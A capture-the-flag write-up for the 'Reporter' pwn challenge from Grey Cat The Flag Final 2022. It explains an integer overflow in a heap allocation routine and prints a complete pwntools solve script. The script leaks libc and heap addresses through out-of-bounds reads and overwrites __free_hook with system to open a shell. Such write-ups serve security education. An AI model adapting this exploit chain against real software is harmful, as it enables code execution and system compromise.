Skip to content

Reporter

In Grey Cat The Flag Final 2022, 919 points

Integer overflow results in OOB heap array access

Challenge files: ld.so libc.so.6 Makefile reporter.c

Introduction and analysis

This C program allows the user to manage an array of reports. The user can read and edit reports, as well as increase the size of the reports array, but they cannot reduce the number of reports.

Reports are stored in the Report struct:

c
typedef struct Report {
    char content[CONTENT_SZ];
    char by[BY_SZ];
} Report;

The number of reports is stored in an unsigned long len. Bounds checking appears to have been done correctly for all functions.

Note:

c
typedef unsigned long long num;

Vulnerability

The vulnerability originates in the alloc method (reproduced here):

cpp
void alloc() {
    printf("How many reports? ");
    num nlen = read_num();
    if (nlen <= len) {
        return;
    }
    num alloc_size = nlen * sizeof(Report); // overflow here

    if (alloc_size > 0x1000) {
        printf("allocation too big!");
        exit(-1);
    }

    Report* new_reports = (Report*)malloc(alloc_size);
    memset(new_reports, 0, nlen * sizeof(Report));
    if (reports) {
        memcpy(new_reports, reports, len * sizeof(Report));
        free(reports);
    }
    reports = new_reports;
    len = nlen;
}

When a sufficiently large nlen is used, an integer overflow occurs when nlen is multiplied by sizeof(Report) (56). This results in alloc_size being a much smaller value than the memory required to store nlen reports. However, len is still set to nlen, thus allowing an attacker to access memory beyond the bounds of the allocated memory.

Exploitation

As usual, we will target overwriting __free_hook with system, which will give us a shell when we free("/bin/sh").

Once we know the address of __free_hook and the starting address of the allocated reports array, writing to __free_hook is quite easy as we have effectively unlimited OOB read/write from reports.

The bulk of the exploit will consist of obtaining a libc and heap leak, while trying not to mess up the heap too much.

First, we will gradually increase the size of the reports array. This will result in a sizeable amount of memory being allocated and freed on the heap. Some of these freed chunks will be tracked in unsorted bin if they are large enough. Then, using the integer overflow bug, we trick the program into allocating one of the previously freed chunks, near the start of the heap. As len is much larger than the size of memory allocated, we can use OOB read to leak the libc pointers in the unsorted bins and the heap pointers in other freed chunks.

However, alloc copies the contents of the old reports array to the newly allocated array. As the memory allocated for the new array is less than the old one (due to the integer overflow), the contents immediately after the new array will be overwritten. This is problematic as the pointers we want to leak are after this array. We can overcome this by allocating enough smaller chunks such that the total size of these smaller chunks is significantly greater than the size of the reports array just before the integer overflow. Thus, when the old reports array is copied, the contents of these smaller chunks will be overwritten, while preserving the pointers in the larger chunks.

The exact numbers for the integer overflow and number of chunks to allocate can be obtained with a bit of math/trial and error.

image-20220625160755988.png

Solve script

python
from pwn import *

e = ELF("reporter.o")
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld.so", checksec=False)
context.binary = e
context.terminal = ['tmux', 'splitw', '-h']

def setup():
    p = remote("34.142.228.44", 13034)
    return p

def add(p, sz):
    p.recvuntil("Opt")
    p.sendline("1")
    p.recvuntil("How many reports? ")
    p.sendline(str(sz))

def leak(p, x):
    p.recvuntil("Opt")
    p.sendline("2")
    p.recvuntil("Enter Index: ")
    p.sendline(str(x))
    p.recvline()
    x = p.recvline()
    print(x)
    return u64(x[1:7]+b"\0\0")

if __name__ == '__main__':
    p = setup()
    p.sendline("0")
    # Add smaller chunks to heap to buffer against overwriting later
    for i in range(25):
       add(p, i)
    add(p, 25)
    add(p, 26)
    add(p, 27)
    add(p, 28)
    # Integer overflow, gets allocated a smaller chunk than is necessary
    add(p, 988218432520154553)
    # Libc leak
    l1 = leak(p, 202)
    # Heap leak
    l2 = leak(p, 107)
    self_addr = l2 + 0x2d0
    libc.address = l1 -0x1ecbe0
    print(hex(self_addr), hex(libc.address))
    # Diff can vary as heap and libc are in completely different sections
    diff = libc.sym.__free_hook - self_addr
    print(hex(diff), diff%56,diff//56)
    print(hex(libc.sym.__free_hook ))
    # Add /bin/sh to start of chunk
    p.recvuntil("Opt")
    p.sendline("3")
    p.recvuntil("Enter Index: ")
    p.sendline("0")
    p.recvuntil("By:")
    p.sendline("/bin/sh\0")
    p.recvuntil("Content:")
    p.sendline("/bin/sh\0")
    # OOB write to __free_hook
    p.recvuntil("Opt")
    p.sendline("3")
    p.recvuntil("Enter Index: ")
    p.sendline(str(diff//56))
    p.recvuntil("By:")
    p.sendline("aaa")
    p.recvuntil("Content:")
    # A bit of extra padding as it does not always line up perfectly
    p.sendline(b"a"*(diff%56)+p64(libc.sym.system))
    # Trigger freeing of previous chunk, which starts with /bin/sh
    add(p, 988218432520154558)

    p.interactive()